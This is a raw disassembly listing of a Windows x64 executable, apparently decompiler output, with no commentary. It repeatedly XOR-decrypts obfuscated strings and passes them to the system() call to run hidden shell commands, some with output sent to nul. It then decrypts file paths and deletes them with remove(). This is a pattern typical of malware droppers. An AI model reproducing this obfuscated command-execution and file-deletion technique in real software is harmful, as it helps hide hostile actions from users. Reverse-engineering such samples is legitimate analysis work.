punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140060e20
cmp r8d, 0x3a
jge 0x140060f51
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140060f20
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4650]
lea rcx, [rbp + 0x40]
mov byte [rbp + 0x40], al
call fcn.14007c870
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400610d1
mov r8d, esi
cmp r15d, 2
jl 0x140061093
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140060fa0
cmp r8d, 0x3a
jge 0x1400610d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x1400610a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x468a]
lea rcx, [rbp + 0x41]
mov byte [rbp + 0x41], al
call fcn.14007c8b0
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140061251
mov r8d, esi
cmp r15d, 2
jl 0x140061213
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140061120
cmp r8d, 0x3b
jge 0x140061251
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x140061220
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3100]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3ccd]
xor eax, eax
lea rcx, [rbp + 0x42]
mov byte [rbp + 0x42], al
call fcn.14007c900
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400613e1
mov r8d, esi
cmp r15d, 2
jl 0x1400613a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400612b0
cmp r8d, 0x32
jge 0x1400613e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x1400613b0
mov r8, rbx
lea rcx, [rbp + 0x3120]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3140]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3140]
call fcn.14003a690
lea rcx, [rbp + 0x3120]
call fcn.14003a690
lea rcx, [rbp + 0x3100]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3160]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3cff]
xor eax, eax
lea rcx, [rbp + 0x43]
mov byte [rbp + 0x43], al
call fcn.14007c930
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400615c1
mov r8d, esi
cmp r15d, 2
jl 0x140061583
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140061490
cmp r8d, 0x32
jge 0x1400615c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140061590
mov r8, rbx
lea rcx, [rbp + 0x3180]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x31a0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x31a0]
call fcn.14003a690
lea rcx, [rbp + 0x3180]
call fcn.14003a690
lea rcx, [rbp + 0x3160]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x31c0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3d31]
xor eax, eax
lea rcx, [rbp + 0x44]
mov byte [rbp + 0x44], al
call fcn.14007c960
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400617a1
mov r8d, esi
cmp r15d, 2
jl 0x140061763
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140061670
cmp r8d, 0x32
jge 0x1400617a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140061770
mov r8, rbx
lea rcx, [rbp + 0x31e0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3200]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3200]
call fcn.14003a690
lea rcx, [rbp + 0x31e0]
call fcn.14003a690
lea rcx, [rbp + 0x31c0]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3220]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3d63]
xor eax, eax
lea rcx, [rbp + 0x45]
mov byte [rbp + 0x45], al
call fcn.14007c990
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140061981
mov r8d, esi
cmp r15d, 2
jl 0x140061943
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140061850
cmp r8d, 0x32
jge 0x140061981
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140061950
mov r8, rbx
lea rcx, [rbp + 0x3240]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3260]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3260]
call fcn.14003a690
lea rcx, [rbp + 0x3240]
call fcn.14003a690
lea rcx, [rbp + 0x3220]
call fcn.14003a690
xor eax, eax
lea rdx, [rbp + 0x4d00]
lea rcx, [rbp + 0x46]
mov byte [rbp + 0x46], al
call fcn.14007c9c0
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140061b43
mov r8d, esi
cmp r15d, 2
jl 0x140061b0d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x140061a20
jmp 0x140061b43
mov r9, r10
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140061b10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4f02]
lea rcx, [rbp + 0x47]
mov byte [rbp + 0x47], al
call fcn.14007c9f0
mov r10, rax
cmp byte [rax + 0x41], 0
je 0x140061cc1
mov r8d, esi
cmp r15d, 2
jl 0x140061c83
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140061b90
cmp r8d, 0x42
jge 0x140061cc1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x42
jl 0x140061c90
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004e720
xor eax, eax
lea rdx, [rbp + 0x38d0]
lea rcx, [rbp + 0x48]
mov byte [rbp + 0x48], al
call fcn.14007ca30
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140061e41
mov r8d, esi
cmp r15d, 2
jl 0x140061e03
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061d10
cmp r8d, 0x2c
jge 0x140061e41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140061e10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x3786]
lea rcx, [rbp + 0x49]
mov byte [rbp + 0x49], al
call fcn.14007ca60
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140061fc1
mov r8d, esi
cmp r15d, 2
jl 0x140061f83
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061e90
cmp r8d, 0x29
jge 0x140061fc1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140061f90
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x375e]
lea rcx, [rbp + 0x4a]
mov byte [rbp + 0x4a], al
call fcn.14007ca90
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x140062133
mov r8d, esi
cmp r15d, 2
jl 0x1400620fd
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x140062010
jmp 0x140062133
mov r9, r10
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x140062100
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x37af]
lea rcx, [rbp + 0x4b]
mov byte [rbp + 0x4b], al
call fcn.14007cac0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x1400622b1
mov r8d, esi
cmp r15d, 2
jl 0x140062273
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
